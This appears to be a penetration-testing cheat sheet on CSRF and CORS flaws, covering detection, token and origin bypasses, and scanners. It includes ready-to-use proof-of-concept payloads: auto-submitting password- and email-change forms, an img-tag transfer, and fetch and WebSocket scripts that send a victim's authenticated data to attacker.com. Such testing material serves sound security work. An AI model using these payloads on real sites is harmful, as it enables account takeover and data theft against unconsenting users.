WEB09 CSRF & CORS

Sections WEB09 CSRF & CORS

Two related bugs around cross-origin requests. CSRF lets attacker pages make state-changing requests as the victim. CORS misconfigs let attacker pages read sensitive responses cross-origin.

T=https://target.com

i. Where it lives

CSRF surfaces:

  • Any state-changing endpoint (POST, PUT, DELETE, PATCH)
  • Password / email change forms
  • Funds transfer / payment
  • Admin actions
  • “Add to cart” / “place order”
  • Account deletion
  • API key generation

CORS surfaces:

  • Any endpoint that returns sensitive data (/api/me, /api/users/123)
  • Endpoints accessed by SPAs (often have Access-Control-Allow-Origin)
  • Internal admin APIs that don’t expect cross-origin access

ii. CSRF detection

Check what the app uses to protect the endpoint:

  1. Token in form - hidden input like <input name="csrf_token" value="abc123">
  2. Token in header - custom header like X-CSRF-Token or X-Requested-With: XMLHttpRequest
  3. SameSite cookie attribute - Set-Cookie: ...; SameSite=Lax|Strict
  4. Origin / Referer checking - server reads Origin: or Referer: header
  5. Nothing - endpoint accepts request with just session cookie

Quick removal test: drop the CSRF protection and resend the request.

## Original request with token, copy from Burp
## Remove the CSRF parameter / header, resend
## Same success response = vulnerable

Cookie attribute check:

curl -sIv "$T/login" 2>&1 | grep -i set-cookie
## Look at SameSite:
## - SameSite=Strict      → fully blocks CSRF
## - SameSite=Lax         → blocks POST CSRF but allows top-level GET nav
## - SameSite=None        → no protection (requires Secure)
## - SameSite missing     → modern browsers default to Lax-like behavior
SameSite=Lax doesn’t block everything

Lax allows GET CSRF via top-level navigation (window.location, anchor click). Any state-changing GET endpoint is still vulnerable. Anything POST → blocked. POST with <form method=GET> redirected to a real POST endpoint can also slip through some configs.

iii. CSRF PoC generator

Burp has it built in (right-click request → Engagement Tools → Generate CSRF PoC). Generates an HTML page that auto-submits a form.

For JSON endpoints (POST with Content-Type: application/json), <form> can’t normally submit JSON. Bypass via content-type tricks (see section v).

Manual PoC template:

<html>
  <body onload="document.f.submit()">
    <form id="f" action="https://target.com/change-password" method="POST">
      <input name="new_password" value="pwned123">
      <input name="confirm" value="pwned123">
    </form>
  </body>
</html>

Host it anywhere the victim will visit while logged in. Submit fires automatically.

iv. CSRF token bypasses

Token not validated

Drop it, resend. If the response is still success → no validation.

Token validation bypasses

  • Use a different user’s token (any valid token works) → token not tied to session
  • Use an empty token → no validation when blank
  • Remove the parameter entirely → server only checks if present, not value
  • Change request method (POST → GET) → token only checked on POST

Token tied to session weakly

  • Submit your own session’s CSRF token in the victim’s request → may work if token is global, not per-session

Stored CSRF (no token needed at all)

  • Endpoint accepts only cookies, no token at all
  • Server expects token via certain header but doesn’t reject when missing

Referer / Origin bypasses

When server checks Referer:

  • Strip Referer header entirely (some servers allow blank Referer)
  • Use <meta name="referrer" content="no-referrer"> in PoC
  • Use HTTPS → HTTP downgrade to strip Referer (legacy)

When server checks Origin via prefix/suffix match:

  • Origin: https://target.com.attacker.com (suffix attack)
  • Origin: https://attacker.com/target.com (URL with path)

v. CSRF on JSON endpoints

Default browser CSRF requires <form>, which can only send application/x-www-form-urlencoded, multipart/form-data, or text/plain. JSON endpoints often skip CSRF protection assuming browsers can’t reach them.

But many JSON endpoints accept text/plain body that happens to be JSON:

<form action="https://target.com/api/change-email" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","x":"' value='"}'>
</form>

The form sends body: {"email":"attacker@evil.com","x":"="} with Content-Type: text/plain. Many JSON parsers accept it.

XHR/fetch with Content-Type: application/json is normally blocked by CORS preflight unless the server allows it - see CORS section.

File upload CSRF

Multipart forms can upload files cross-origin. If file upload endpoint trusts cookies only, CSRF can upload arbitrary files as the victim.

vi. CORS misconfigurations

CORS controls which origins can read responses. Misconfigs let attacker origins read sensitive data.

Common misconfig types

Wildcard ACAO:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false

Less dangerous because cookies aren’t sent. But still bad if endpoint contains sensitive info bound to IP / token in header.

Wildcard ACAO with credentials (browsers should reject this combo, but server should never send it):

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Reflected ACAO (the dangerous one):

## Request: Origin: https://attacker.com
## Response: Access-Control-Allow-Origin: https://attacker.com
##           Access-Control-Allow-Credentials: true

Server echoes any origin it receives. Attacker page reads the victim’s authenticated response.

Null origin allowed:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Sandboxed iframes and data: URLs send Origin: null. Attackers can host a page that sends null and reads the response.

Subdomain trust:

Access-Control-Allow-Origin: https://*.target.com
## Or via regex / prefix matching

If any subdomain is compromisable (subdomain takeover, XSS on a subdomain), CORS trust extends.

Prefix/suffix matching bugs:

## Server: allows any origin starting with target.com
Origin: https://target.com.attacker.com   → allowed
## Server: allows any origin ending with .target.com  
Origin: https://attacker-target.com       → allowed

vii. CORS scanners

Corsy (Python):

python3 corsy.py -u "$T/api/me"
python3 corsy.py -i urls.txt

CORStest:

python3 corstest.py "$T/api/me"
python3 corstest.py -i urls.txt

Both probe common misconfigs (wildcard, null, reflected, prefix, suffix) and report findings.

Burp Pro’s scanner catches most of these automatically.

viii. CORS exploitation PoC

Once you find an exploitable CORS misconfig:

<html>
<script>
fetch("https://target.com/api/me", { credentials: "include" })
  .then(r => r.text())
  .then(d => fetch("https://attacker.com/log?d=" + encodeURIComponent(d)));
</script>
</html>

Host on attacker.com, get the victim to visit. The victim’s browser makes the request with cookies, gets the response, attacker reads it cross-origin (because of the misconfig), exfils.

ix. CSWSH (Cross-Site WebSocket Hijacking)

When the app uses WebSockets and trusts the origin only via the initial Connection upgrade request, attacker pages can open authenticated WebSockets:

var ws = new WebSocket("wss://target.com/api/ws");
ws.onmessage = (m) => fetch("https://attacker.com/?d=" + encodeURIComponent(m.data));
ws.send('{"action":"get_data"}');

Same diagnosis as CORS - check if the WebSocket handshake validates Origin: header. If not, vulnerable.

x. Tricks worth knowing

Logout CSRF

Logout endpoint that doesn’t require CSRF protection isn’t exploitable on its own. But chained: log victim out, log them back in as YOUR account, they store data in your account that you later access.

Login CSRF

Same idea: force victim to log into attacker’s account. They use the app thinking it’s theirs, leave data you can later access. Real attacks: storing browsing history, OAuth account linking, payment info.

CSRF via <img> tag for GET endpoints

If state changes happen on GET (bad practice but common):

<img src="https://target.com/transfer?amount=1000&to=attacker">

Fires when the victim visits the attacker page. No JS needed.

CSRF token leak via referer

If the CSRF token is in the URL (?csrf_token=abc) and the page contains an external link, the token leaks in the Referer header to that external site.

Race condition with CSRF

Some apps tie CSRF tokens to user state (“token only valid before action”). A race between fetching the token and submitting the action can bypass timing-based checks.

Cookie set with Domain=.target.com is sent to all subdomains. If admin.target.com has CSRF and you control dev.target.com (subdomain takeover or XSS), you can craft requests with the admin’s cookies.

CORS pre-flight bypass via simple requests

Pre-flight only fires for non-simple requests. Simple requests (GET/POST with form-encoded or text/plain body, no custom headers) don’t trigger preflight. So:

  • Even when ACAO is restrictive, the request still fires (just the response isn’t readable)
  • For pure CSRF (don’t need to read response), preflight bypass doesn’t matter

xi. References

xii. Where it leads

CSRF outcomes:

  • Account takeover via email / password change
  • Admin actions performed as victim admin
  • Privilege escalation when admin endpoints lack CSRF protection
  • Data exfil when the attacker can also read the response (combined with XSS or CORS)

CORS outcomes:

  • Read user’s private data (/api/me, profile, financial)
  • Steal session tokens / API keys returned in JSON responses
  • Internal app reconnaissance via cross-origin XHR
  • CSWSH gives full bidirectional WebSocket hijack

Both pair powerfully with WEB08 XSS - XSS bypasses CSRF protections entirely (same-origin), and XSS + reflected ACAO lets the attacker page read responses too.